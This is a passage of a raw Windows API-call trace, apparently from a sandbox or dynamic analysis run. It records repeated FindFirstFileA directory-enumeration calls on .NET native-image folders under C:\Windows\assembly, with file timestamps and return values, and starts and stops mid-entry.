ftCreationTime.dwLowDateTime=0x862af4a2, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc336e40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc336e40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0239.659] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.DynamicD#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8beec9cb, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc35cfa0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc35cfa0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0239.664] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.DynamicD#\\19ec2acb1a563ecfce8396babd4a3b25\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8c2f0ef3, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc35cfa0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc35cfa0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0239.670] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.DynamicD#\\a16dd65d2bfab6a019ac8a05337a5c24\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8bf12b2c, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc35cfa0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc35cfa0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0239.675] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Entity\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8c8e45fe, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc383100, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc383100, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0239.681] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Entity\\9a3ab1594cf5cd52f0794b0a93a14b57\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8c8e45fe, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc383100, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc383100, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0239.686] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Entity.D#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ce658e8, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc383100, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc383100, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0239.691] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Entity.D#\\a63e76cc86c8958f0f3e9741c0d89f14\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ce658e8, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc3a9260, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc3a9260, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0239.697] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Extensio#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x86f7aaf9, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc3a9260, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc3a9260, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0239.712] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Extensio#\\0b5071ee1d40266575a7ac53b9b299d4\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8da0043d, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc3cf3c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc3cf3c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0239.717] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Extensio#\\70823ac0d6e6631a11d443bf38987cc9\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x86f7aaf9, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc3cf3c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc3cf3c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0239.723] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Mobile\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e764016, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc3f5520, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc3f5520, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0239.728] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Mobile\\9abec9ee3dab00d67b395d1994a60776\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e764016, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc3f5520, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc3f5520, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0239.734] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.RegularE#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18287017, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc3f5520, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc3f5520, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0239.739] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.RegularE#\\c72ccbd1fef598dd897fdf0d2e49195b\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18287017, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc41b680, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc41b680, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0239.745] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Routing\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ba4ff23, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc41b680, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc41b680, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0239.750] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Routing\\165d0873203da280298bfcfa50567a0b\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ba4ff23, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc41b680, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc41b680, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0239.765] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Services\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x141373fe, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc4417e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc4417e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0239.770] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Services\\02d5be8209f0eac6f7725f8d83b87df6\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x141373fe, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc467940, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc467940, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0239.776] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Windows.Forms\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bfbbc2, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc467940, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc467940, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0239.781] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Windows.Forms\\3afcd5168c7a6cb02eab99d7fd71e102\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bfbbc2, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc467940, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc467940, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0239.787] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Windows.Pres#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8edefca2, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc48daa0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc48daa0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0239.792] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Windows.Pres#\\fee2bbfe0b8f5988a3ab7a9db85c7a30\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8edefca2, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc48daa0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc48daa0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0239.797] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Workflow.Act#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20206b61, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc48daa0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc48daa0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0239.804] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Workflow.Act#\\b2a2c534c407bbe46e8536445d0ada50\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20206b61, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc4b3c00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc4b3c00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0239.810] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Workflow.Com#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x221dd1dc, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc4b3c00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc4b3c00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0239.815] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Workflow.Com#\\e1a68d2a01e132ebc60a5565a771902b\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x221dd1dc, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc4d9d60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc4d9d60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0239.820] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Workflow.Run#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x23429b1e, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc4d9d60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc4d9d60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0239.825] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Workflow.Run#\\2101dbd9fa083a2ed0cc112636260070\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x23429b1e, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc4d9d60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc4d9d60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0239.842] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8fb075ba, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc4ffec0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc4ffec0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0239.848] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8fb075ba, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc526020, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc526020, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0239.853] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3a252e2, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xc526020, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc526020, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0239.858] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3a252e2, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xc526020, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc526020, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0239.864] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml.Linq\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d375cac, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc54c180, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc54c180, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0239.869] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml.Linq\\70aac9dff3bdde548962557151c1ff49\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d375cac, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc54c180, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc54c180, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0239.876] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\TaskScheduler\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5d3a29cb, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc54c180, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc54c180, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0239.883] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\TaskScheduler\\99797e9500ed7bfa6b06063e7f017313\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5d3a29cb, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc5722e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc5722e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0239.889] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Temp\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a3a49e2, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0xc5722e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc5722e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0239.895] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Temp\\ZAP9E41.tmp\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x110c193c, ftCreationTime.dwHighDateTime=0x1ca0440, ftLastAccessTime.dwLowDateTime=0xc598440, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc598440, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0239.900] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\UIAutomationClient\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a77d151, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc598440, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc598440, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0239.905] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\UIAutomationClient\\eca4310274a7a6ce651b33cd4278610c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a77d151, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc598440, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc598440, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0239.913] FindFirstFileA (in: 